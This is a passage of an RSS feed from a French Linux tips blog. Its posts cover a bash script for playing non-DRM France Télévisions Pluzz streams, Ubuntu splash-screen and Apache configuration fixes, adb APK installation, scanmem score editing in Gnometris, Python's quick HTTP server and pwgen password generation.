			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/07/france_televisions.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2010/07/france_televisions.jpg" alt="" title="france_televisions" width="300" height="155" class="alignright size-full wp-image-1675" /></a></p>
<p>Le 5 juillet (hier donc), <em>France Télévisions</em> <a href="http://linuxfr.org/~fabiensk/29918.html">a lancé</a> son service de télévision de rattrapage, <strong>qui ne permet pas de lire les vidéos</strong>. À moins d&#8217;accepter d&#8217;installer un système d&#8217;exploitation particulier avec un logiciel particulier (propriétaires évidemment). C&#8217;est comme s&#8217;ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d&#8217;une TV Sony ou Philips, et pas pour les autres… <em>France Télévisions</em> a simplement oublié que c&#8217;était un avant tout un <strong>service public</strong>.</p>
<h3>Formats</h3>
<p>La lecture des vidéos nécessite soit <em>Windows Media Player</em>, soit <em>Silverlight</em>. C&#8217;est dommage, il aurait été préférable que leur site soit du web, accessible à tous.</p>
<p>En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c&#8217;est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d&#8217;empêcher la copie&nbsp;; ce n&#8217;est pas totalement faux&nbsp;: quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.</p>
<p><strong>En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n&#8217;est pas copiable n&#8217;est pas lisible.</strong></p>
<h3>Outil d&#8217;accès</h3>
<p>Comme <em>France Télévisions</em> n&#8217;a pas fait son boulot d&#8217;<a href="http://fr.wikipedia.org/wiki/Interop%C3%A9rabilit%C3%A9">interopérabilité</a>, et qu&#8217;a priori chacun a droit d&#8217;accéder à ce service (public!), nous sommes obligés de nous débrouiller par nous-mêmes.</p>
<p>J&#8217;ai donc écrit un petit script <em>bash</em> qui permet d&#8217;accéder relativement simplement à <em>Pluzz</em> à partir d&#8217;un système libre (où VLC doit être installé, testé sur <em>Ubuntu 10.04</em>). Pour l&#8217;utiliser, rendez-vous sur <a href="http://www.pluzz.fr">Pluzz.fr</a>, cliquez sur l&#8217;émission de votre choix, et copier l&#8217;adresse de la page (par exemple <code>http://www.pluzz.fr/jt-20h.html</code>).</p>
<p>Ensuite, pour lire la vidéo, tapez&nbsp;:</p>
<pre>pluzz play http://www.pluzz.fr/jt-20h.html</pre>
<p>Pour l&#8217;enregistrer (bah oui, tout ce qui est lisible est enregistrable)&nbsp;:</p>
<pre>pluzz record http://www.pluzz.fr/jt-20h.html</pre>
<p>Si vous voulez simplement l&#8217;url du flux&nbsp;:</p>
<pre>pluzz url http://www.pluzz.fr/jt-20h.html</pre>
<p>Ceci ne fonctionnera que pour les vidéos sans DRM&nbsp;: les vidéos avec DRM ne sont pas lisibles.</p>
<p><ins datetime="2012-01-09T19:00:00+01:00"><em>Pluzz</em> a récemment changé la manière dont les vidéos sont diffusées. Le script que j&#8217;ai proposé ici ne fonctionnera donc plus pour une majorité de vidéos. <em>Chaoswizard</em> en a créé <a href="http://forum.ubuntu-fr.org/viewtopic.php?pid=7728361#p7728361">un nouveau</a>, en <em>Python</em> pour prendre en compte ces changements.</ins></p>
<h3>Script</h3>
<p><ins datetime="2010-07-11T00:00:00+01:00">J&#8217;ai mis à jour le script avec une version 0.2, qui gère également les flux en <code>mp4</code> (<a href="apt://flvstreamer">flvstreamer</a> doit être installé).<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/pluzz/">ici</a> (au cas où une régression poserait problème).</ins></p>
<p>Voici le script (sous licence <a href="http://sam.zoy.org/wtfpl/">wtfpl</a>), à sauvegarder en tant que fichier exécutable <code>/usr/local/bin/pluzz</code> <em>(uniquement si vous comprenez ce que vous faites)</em>&nbsp;:</p>
<pre lang="bash">#!/bin/bash
# Script pour utiliser pluzz.fr
# v0.2 (11 juillet 2010)

if [ $# != 2 ]
then
    printf "Syntaxe: $0 [url|play|record] http://www.pluzz.fr/...\n" >&#038;2
    exit 1
fi
command="$1"
url="$2"

if [ "$command" != 'url' -a "$command" != 'play' -a "$command" != 'record' ]
then
    printf "Command must be 'url', 'play' or 'record', not '$command'\n" >&#038;2
    exit 2
fi

video_page_url=$(wget -qO- "$url" | grep -o 'http://info.francetelevisions.fr/?id-video=[^"]\+')
stream_url_part2=$(wget -qO- "$video_page_url" | grep urls-url-video | sed 's/.*content="\(.*\)".*/\1/')
ext=${stream_url_part2##*.}

if [ "$ext" = 'wmv' ]
then
    stream_url_part1='mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication'
elif [ "$ext" = 'mp4' ]
then
    stream_url_part1='rtmp://videozones-rtmp.francetv.fr/ondemand/mp4:cappuccino/publication'
else
    printf "Extension not managed : '$ext'\n" >&#038;2
    exit 3
fi

stream_url="$stream_url_part1/$stream_url_part2"

if [ "$command" = "url" ]
then
    printf "$stream_url\n"
elif [ "$command" = "play" ]
then
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url"
    else
        flvstreamer -r "$stream_url" | vlc -
    fi
elif [ "$command" = "record" ]
then
    output_file=${stream_url##*/}
    printf "Recording to $output_file...\n"
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url" ":sout=#std{access=file,mux=asf,dst=$output_file}"
    else
        flvstreamer -r "$stream_url" -o "$output_file"
    fi
fi</pre>
<p><ins datetime="2010-07-11T00:00:00+01:00">Le plus simple est de créer un fichier <code>pluzz</code> dans le dossier personnel, d&#8217;y recopier le script ci-dessus, et d&#8217;exécuter&nbsp;:</ins></p>
<pre>sudo install pluzz /usr/local/bin</pre>
<h3>Conclusion</h3>
<p>Après s&#8217;être déjà fait remarqué par leur <a href="http://www.numerama.com/magazine/15230-la-detestable-exclusivite-de-france-televisions-sur-orange-va-prendre-fin.html">exclusivité avec Orange</a>, j&#8217;espère que <em>France Télévisions</em> acceptera un jour de permettre l&#8217;accès à tous à la télévision de rattrapage.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/feed/</wfw:commentRss>
		<slash:comments>162</slash:comments>
		</item>
		<item>
		<title>Splash screen Ubuntu Lucid Lynx (10.04) et pilote NVIDIA propriétaire</title>
		<link>http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire/</link>
		<comments>http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire/#comments</comments>
		<pubDate>Thu, 13 May 2010 14:26:53 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1446</guid>
		<description><![CDATA[Ubuntu utilise maintenant Plymouth pour le processus de démarrage graphique. C&#8217;est maintenant le noyau qui s&#8217;occupe de la configuration graphique à la place de Xorg&#160;: c&#8217;est plus joli, plus rapide… Le problème, c&#8217;est que le logiciel propriétaire ne suit pas le rythme du logiciel libre. En particulier, le pilote NVIDIA propriétaire ne supporte pas encore [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-lucid-boot.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-lucid-boot.png" alt="" title="ubuntu-lucid-boot" width="250" height="120" class="alignright size-full wp-image-1458" /></a><br />
<strong>Ubuntu</strong> utilise maintenant <strong>Plymouth</strong> pour le processus de démarrage graphique. C&#8217;est maintenant le noyau qui s&#8217;occupe de la configuration graphique à la place de <em>Xorg</em>&nbsp;: c&#8217;est plus joli, plus rapide…</p>
<p>Le problème, c&#8217;est que le logiciel propriétaire ne suit pas le rythme du logiciel libre. En particulier, le pilote <em>NVIDIA</em> propriétaire ne supporte pas encore cette fonctionnalité (alors que le pilote libre la gère correctement, mais ne supporte pas la 3D). Du coup, on se retrouve avec un <em>splash screen</em> très laid en basse résolution au démarrage.</p>
<p>Ce billet décrit comment avoir un logo à la bonne résolution (même si on n&#8217;obtiendra pas la fluidité possible actuellement avec le pilote libre). Une mise à jour sera peut-être disponible (espérons-le), avec un pilote <em>NVIDIA</em> propriétaire fonctionnant correctement. Si tel est le cas, merci de me prévenir, pour que je marque ce billet comme <em>déprécié</em>.</p>
<h3>Contourner le problème</h3>
<p><strong>Attention&nbsp;: ces modifications modifient votre configuration graphique, elles pourraient empêcher votre système de fonctionner correctement.</strong></p>
<p><em>Remplacez dans les étapes suivantes <code>1680x1050</code> par la définition de votre écran.</em></p>
<p>Tout d&#8217;abord, il faut prendre un post-it, un stylo, et écrire <em>«&nbsp;ne plus acheter d&#8217;ordinateur avec une carte graphique nécessitant des pilotes propriétaires pour fonctionner&nbsp;»</em>. Le coller ensuite bien en évidence pour s&#8217;en rappeler lors du prochain achat informatique.</p>
<p>Ensuite, installer le paquet <a href="apt://v86d">v86d</a>&nbsp;:</p>
<pre>sudo apt-get install v86d</pre>
<p>Puis éditer le fichier <code>/etc/default/grub</code>&nbsp;:</p>
<pre>gksudo gedit /etc/default/grub</pre>
<p>et remplacer la ligne&nbsp;:</p>
<pre>GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"</pre>
<p>par&nbsp;:</p>
<pre>GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset video=uvesafb:mode_option=1680x1050-24,mtrr=3,scroll=ywrap"</pre>
<p>et la ligne&nbsp;:</p>
<pre>#GRUB_GFXMODE=640x480</pre>
<p>par&nbsp;:</p>
<pre>GRUB_GFXMODE=1680x1050</pre>
<p>Puis exécuter les commandes suivantes&nbsp;:</p>
<pre>echo 'uvesafb mode_option=1680x1050-24 mtrr=3 scroll=ywrap' | sudo tee -a /etc/initramfs-tools/modules
echo FRAMEBUFFER=y | sudo tee /etc/initramfs-tools/conf.d/splash
sudo update-grub2
sudo update-initramfs -u</pre>
<p>Il ne reste plus qu&#8217;à redémarrer le système, le logo est maintenant joli.</p>
<p>Merci à <a href="http://news.softpedia.com/news/How-to-Fix-the-Big-and-Ugly-Plymouth-Logo-in-Ubuntu-10-04-140810.shtml">softpedia</a> pour cette astuce.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>Vidéo OGG Theora sur HTTPS (dans Firefox) : configurer Apache</title>
		<link>http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache/</link>
		<comments>http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache/#comments</comments>
		<pubDate>Sat, 27 Mar 2010 22:43:52 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ogg]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[theora]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1307</guid>
		<description><![CDATA[Tout le monde a entendu parler de la balise &#60;video/&#62;, la nouveauté la plus médiatisée d&#8217;HTML5. Le format vidéo à utiliser sur le web fait polémique (Theora ou H264) à cause de brevets logiciels, toujours bien présents dès il s&#8217;agit de freiner l&#8217;innovation. Une situation qu&#8217;à mon avis seul Google peut résoudre. Mais ce n&#8217;est [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/03/oggtheora.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/03/oggtheora.png" alt="" title="oggtheora" width="150" height="100" class="alignright size-full wp-image-1317" /></a><br />
Tout le monde a entendu parler de la balise <code>&lt;video/&gt;</code>, la nouveauté la plus médiatisée d&#8217;HTML5. Le format vidéo à utiliser sur le web fait polémique (<a href="http://standblog.org/blog/post/2010/01/26/Video-Theora-ou-H264">Theora ou H264</a>) à cause de brevets logiciels, toujours bien présents dès il s&#8217;agit de freiner l&#8217;innovation. Une situation qu&#8217;à mon avis <a href="http://www.fsf.org/blogs/community/google-free-on2-vp8-for-youtube">seul Google peut résoudre</a>. Mais ce n&#8217;est pas l&#8217;objet de ce billet, pour l&#8217;instant, le format, c&#8217;est <em>OGG Theora</em>. Il suffit de placer un fichier <code>ogv</code> quelque part sur un serveur, et <em>Firefox</em> sait la lire.</p>
<p>Un problème survient cependant dès qu&#8217;on veut y accéder sur HTTPS plutôt qu&#8217;HTTP&nbsp;: on ne peut pas <em>seeker</em> dans la vidéo (c&#8217;est-à-dire qu&#8217;on ne peut pas déplacer le curseur pour se positionner à n&#8217;importe quel endroit), et on ne connaît pas sa durée totale.</p>
<p>Quelle différence entre l&#8217;accès en HTTP et HTTPS?</p>
<p>En HTTP, on reçoit la taille du fichier vidéo&nbsp;:</p>
<pre>$ curl --compressed -I http://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg</pre>
<p>En HTTPS, on ne la reçoit pas, car le flux est compressé en <em>gzip</em>.</p>
<pre>$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Encoding: gzip
Content-Type: video/ogg</pre>
<p><em>(<code>-k</code> permet d&#8217;autoriser l&#8217;utilisation d&#8217;un certificat SSL non reconnu)</em></p>
<p>C&#8217;est la source du problème. Pourquoi ce comportement différent par défaut entre HTTP et HTTPS, je n&#8217;en sais rien (si quelqu&#8217;un peut m&#8217;éclairer…).</p>
<p>Par contre, il est très facile de désactiver la compression pour certains types de fichiers, comme les images ou les vidéos (compression qui n&#8217;a de toute façon aucun intérêt ces fichiers sont déjà compressés).</p>
<p>Pour cela, il suffit de rajouter une ligne dans <code>/etc/apache2/mods-available/deflate.conf</code>&nbsp;:</p>
<pre>SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png|ogg|oga|ogv)$ no-gzip dont-vary</pre>
<p>et de recharger <em>Apache</em>&nbsp;:</p>
<pre>sudo service apache reload</pre>
<p>Et maintenant, ça fonctionne correctement sur HTTPS&nbsp;:</p>
<pre>$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Installer une application .apk sur Android à partir d&#8217;un PC</title>
		<link>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/</link>
		<comments>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 11:12:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1207</guid>
		<description><![CDATA[J&#8217;expliquais, lors de mes premières impressions d&#8217;Android 2 sur le Motorola Milestone, qu&#8217;il était impossible d&#8217;installer un fichier .apk sans accepter les conditions d&#8217;utilisation du market ni configurer un compte gmail. C&#8217;est en fait possible, grâce à l&#8217;outil adb du SDK Android, à partir la connexion USB de l&#8217;ordinateur. Configurer le téléphone Pour que l&#8217;outil [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;expliquais, lors de <a href="http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions/">mes premières impressions d&#8217;Android 2 sur le Motorola Milestone</a>, qu&#8217;il était impossible d&#8217;installer un fichier <code>.apk</code> sans accepter les conditions d&#8217;utilisation du <em>market</em> ni configurer un compte <em>gmail</em>.</p>
<p>C&#8217;est en fait possible, grâce à l&#8217;outil <code>adb</code> du SDK Android, à partir la connexion USB de l&#8217;ordinateur.</p>
<h3>Configurer le téléphone</h3>
<p>Pour que l&#8217;outil d&#8217;installation puisse fonctionner, il faut activer l&#8217;option <em>Paramètres > Applications > Développement > Débogage USB</em> sur le téléphone.</p>
<h3>Configurer l&#8217;ordinateur</h3>
<p>Il faut télécharger <a href="http://developer.android.com/sdk/index.html">Android SDK</a>, malheureusement <a href="http://developer.android.com/sdk/terms.html">non libre</a>.</p>
<p>Sous GNU/Linux (plus précisément <em>Ubuntu 9.10</em>, adaptez selon votre distribution), voici comment l&#8217;installer et permettre la reconnaissance du Motorola Milestone (<a href="http://d.android.com/guide/developing/device.html">plus d&#8217;infos ici</a>)&nbsp;:</p>
<pre>sudo tar xzf android-sdk_r07-linux_x86.tgz -C /opt
sudo ln -s /opt/android-sdk-linux_x86/tools/adb /usr/local/bin
echo 'SUBSYSTEM=="usb", SYSFS{idVendor}=="22b8", MODE="0666"' | sudo tee /etc/udev/rules.d/51-android.rules
sudo service udev reload</pre>
<p>Si vous utilisez un système 64 bits, vous aurez besoin également besoin de <a href="apt://ia32-libs">ia32-libs</a>&nbsp;:</p>
<pre>sudo apt-get install ia32-libs</pre>
<p>Vous pouvez maintenant brancher votre téléphone sur le PC en USB. Pour vérifier que tout fonctionne&nbsp;:</p>
<pre>$ adb devices
List of devices attached
040140621600C00D	device</pre>
<h3>Installer une application</h3>
<h4>En ligne de commande</h4>
<p>Pour installer une application à partir de l&#8217;ordinateur, rien de plus simple&nbsp;:</p>
<pre>$ adb install -r ConnectBot-svn-r466-all.apk
2343 KB/s (642578 bytes in 0.267s)
	pkg: /data/local/tmp/ConnectBot-svn-r466-all.apk
Success</pre>
<p>(<em><code>-r</code> permet d&#8217;écraser si l&#8217;application est déjà installée</em>)</p>
<h4>À partir d&#8217;un gestionnaire de fichiers</h4>
<p>Vous pouvez ensuite ajouter la possibilité d&#8217;installer les <code>.apk</code> graphiquement à partir de votre gestionnaire de fichiers. Si vous utilisez <strong>nautilus</strong>, vous pouvez jouer avec <a href="http://doc.ubuntu-fr.org/nautilus-actions">nautilus-actions</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/01/install-apk.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/01/install-apk-245x300.png" alt="" title="install-apk" width="245" height="300" class="aligncenter size-medium wp-image-1212" /></a><br />
Voici la commande de mon action nautilus (j&#8217;ouvre un xterm pour avoir le résultat de l&#8217;installation, si vous avez mieux, n&#8217;hésitez pas)&nbsp;:</p>
<pre>xterm -T adb -e 'cd "%d" &#038;&#038; /usr/local/bin/adb install -r "%f"; sleep 5'</pre>
<h3>Conclusion</h3>
<p>J&#8217;ai réinitialisé mon téléphone, il n&#8217;a plus de compte <em>gmail</em> associé et je n&#8217;ai pas accepté les conditions du <em>market</em>, ce qui ne m&#8217;empêche donc plus d&#8217;installer les applications dont j&#8217;ai besoin.</p>
<p>Même pour ceux qui veulent garder leur compte ou utiliser le <em>market</em>, c&#8217;est quand même plus rapide d&#8217;installer un <code>.apk</code> grâce à un clic-droit, <em>&laquo;&nbsp;installer&nbsp;&raquo;</em> à partir du gestionnaire de fichiers plutôt que de copier le <code>.apk</code> sur la carte SD, débrancher le câble USB, aller dans une appli qui va chercher le fichier et cliquer sur <em>&laquo;&nbsp;installer&nbsp;&raquo;</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Tricher dans les jeux en modifiant la mémoire à chaud</title>
		<link>http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud/</link>
		<comments>http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 19:52:58 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1078</guid>
		<description><![CDATA[Il y a longtemps, sur la première PlayStation, j&#8217;avais acheté un Action Replay qui permettait de modifier la mémoire à chaud pour &#171;&#160;tricher&#160;&#187; ou changer le comportement d&#8217;un jeu. Il est possible de faire la même chose sous GNU/Linux grâce à scanmem, qu&#8217;il faut installer&#160;: sudo apt-get install scanmem Nous allons le tester sur Gnometris [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a longtemps, sur la première <em>PlayStation</em>, j&#8217;avais acheté un <a href="http://fr.wikipedia.org/wiki/Action_Replay">Action Replay</a> qui permettait de modifier la mémoire <em>à chaud</em> pour &laquo;&nbsp;tricher&nbsp;&raquo; ou changer le comportement d&#8217;un jeu.</p>
<p>Il est possible de faire la même chose sous GNU/Linux grâce à <a href="apt://scanmem">scanmem</a>, qu&#8217;il faut installer&nbsp;:</p>
<pre>sudo apt-get install scanmem</pre>
<p>Nous allons le tester sur <strong>Gnometris</strong> (le Tetris-like intégré à <em>Gnome</em>) pour exploser le record.</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris.png"><img src="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris-264x300.png" alt="" title="gnometris" width="264" height="300" class="alignright size-medium wp-image-1079" /></a></p>
<p>Lançons le jeu, et récupérons son <em>pid</em>&nbsp;:</p>
<pre>$ gnometris &#038;
[1] 30814</pre>
<p>Démarrons <strong>scanmem</strong> avec comme paramètre le <em>pid</em> de <strong>Gnometris</strong>&nbsp;:</p>
<pre>sudo scanmem 30814</pre>
<p><em>(oui, il faut être root pour lire et écrire la mémoire des autres programmes lancés, c&#8217;est plutôt rassurant)</em></p>
<p>On obtient un joli prompt&nbsp;:</p>
<pre>0> </pre>
<p>Il va falloir tout d&#8217;abord trouver où se trouve en mémoire la variable à modifier (celle qui contient le score courant). Pour cela, c&#8217;est très simple, vu que le score est affiché à l&#8217;écran, il suffit d&#8217;indiquer à <strong>scanmem</strong> sa valeur. Pour l&#8217;instant, mon score est de 0, je rentre donc 0&nbsp;:</p>
<pre>0> 0
info: 01/126 searching   0x621000 -   0x623000...........ok
info: 02/126 searching  0x1f9d000 -  0x2f4e000...........ok
…
info: 125/126 searching 0xe83f9000 - 0xe83fa000.ok
info: 126/126 searching 0xdab4b000 - 0xdab67000.ok
info: we currently have 12352024 matches.
12352024> </pre>
<p>Il y a donc 12352024 variables dans la mémoire utilisée par Gnometris qui sont à 0 (pas étonnant).</p>
<p>Je joue un peu, histoire de faire évoluer le score… <em>tac tac tac tac…</em> Voilà, j&#8217;ai 100 points (j&#8217;ai fait 2 lignes), je tape donc 100&nbsp;:</p>
<pre>12352024> 100
info: we currently have 36 matches.
36> </pre>
<p>Il y a 36 variables qui étaient à 0 tout à l&#8217;heure et qui sont à 100 maintenant. Je rejoue, je fais 1 ligne, j&#8217;ai 140 points, je tape donc 140&nbsp;:</p>
<pre>36> 140
info: we currently have 1 matches.
info: match identified, use "set" to modify value.
info: enter "help" for other commands.</pre>
<p>Voilà, j&#8217;ai trouvé la variable qui contient le score, maintenant je peux la modifier&nbsp;:</p>
<pre>1> set 12345678
info: setting *0x22e38f0 to 0xbc614e...</pre>
<p>Rien ne se passe dans le jeu, c&#8217;est normal&nbsp;: pour <strong>Gnometris</strong>, le score n&#8217;a pas pu changer, le label de l&#8217;interface graphique contenant le score n&#8217;a donc pas été rafraîchi. Il suffit de gagner quelques points pour s&#8217;apercevoir que la modification a bien été prise en compte&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris-cheat.png"><img src="http://blog.rom1v.com/wp-content/uploads/2009/12/gnometris-cheat-264x300.png" alt="" title="gnometris-cheat" width="264" height="300" class="aligncenter size-medium wp-image-1080" /></a></p>
<p>Ça fonctionne bien évidemment sur tous les programmes, mais c&#8217;est plus intéressant pour les jeux <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Créer un serveur HTTP en 10 secondes sur Ubuntu grâce à Python</title>
		<link>http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/</link>
		<comments>http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 15:22:39 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1063</guid>
		<description><![CDATA[Il suffit d&#8217;aller dans le répertoire à partager et d&#8217;exécuter&#160;: $ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... Le répertoire sera chrooté et accessible sur http://localhost:8000. Par défaut, le port 8000 est utilisé, mais on peut le changer&#160;: $ python -m SimpleHTTPServer 1234 Serving HTTP on 0.0.0.0 port 1234 ... Pour les [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2009/12/python-logo.png"><img src="http://blog.rom1v.com/wp-content/uploads/2009/12/python-logo.png" alt="python-logo" title="python-logo" width="115" height="142" class="alignright size-full wp-image-1067" /></a></p>
<p>Il suffit d&#8217;aller dans le répertoire à partager et d&#8217;exécuter&nbsp;:</p>
<pre>$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...</pre>
<p>Le répertoire sera chrooté et accessible sur <code>http://localhost:8000</code>.</p>
<p>Par défaut, le port 8000 est utilisé, mais on peut le changer&nbsp;:</p>
<pre>$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...</pre>
<p>Pour les ports inférieurs à 1024, il faut être <em>root</em>&nbsp;:</p>
<pre>$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...</pre>
<p>Si le port correspondant est ouvert sur le routeur, il sera également accessible de l&#8217;extérieur. Pratique pour partager rapidement du contenu…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Générer des mots de passe aléatoires</title>
		<link>http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires/</link>
		<comments>http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 19:05:29 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1036</guid>
		<description><![CDATA[Il arrive de vouloir changer de mot de passe, et comme d&#8217;habitude, d&#8217;en vouloir un aléatoire. Le programme pwgen est bien pratique. Il génère au choix&#160;: des mots de passe qui sont facilement mémorisables par des humains, tout en restant aussi sécurisés que possible&#160;: pratique pour un mot de passe sans importance dont on veut [...]]]></description>
			<content:encoded><![CDATA[<p>Il arrive de vouloir changer de mot de passe, et comme d&#8217;habitude, d&#8217;en vouloir un aléatoire.</p>
<p>Le programme <a href="apt://pwgen">pwgen</a> est bien pratique. Il génère au choix&nbsp;:</p>
<ul>
<li>des mots de passe qui sont facilement mémorisables par des humains, tout en restant aussi sécurisés que possible&nbsp;: pratique pour un mot de passe sans importance dont on veut se souvenir facilement&nbsp;;</li>
<li>des mots de passe totalement aléatoires (plus sécurisés)&nbsp;: pour le mot de passe principal d&#8217;un utilisateur&nbsp;;</li>
<li>des mots de passe totalement aléatoires avec des caractères spéciaux (le top)&nbsp;: pour des mots de passe jamais écrits à la main (bases de données), ou pour le mot de passe principal d&#8217;un geek ^^).</li>
</ul>
<p>Sur ces 3 exemples, on voit tout de suite les niveaux de difficulté de mémorisation&nbsp;:</p>
<pre>$ pwgen
EithooK4 faey6aeM Dai5aat5 ue0Aen8e lee1Aiyi Niemap6b ahW7ooth Pohc9iez
tien7Pho ahz5aaJ4 nohd0EiR uiS7xoot Cah9joo1 Fiede8to chus3Mee Ohji2dok
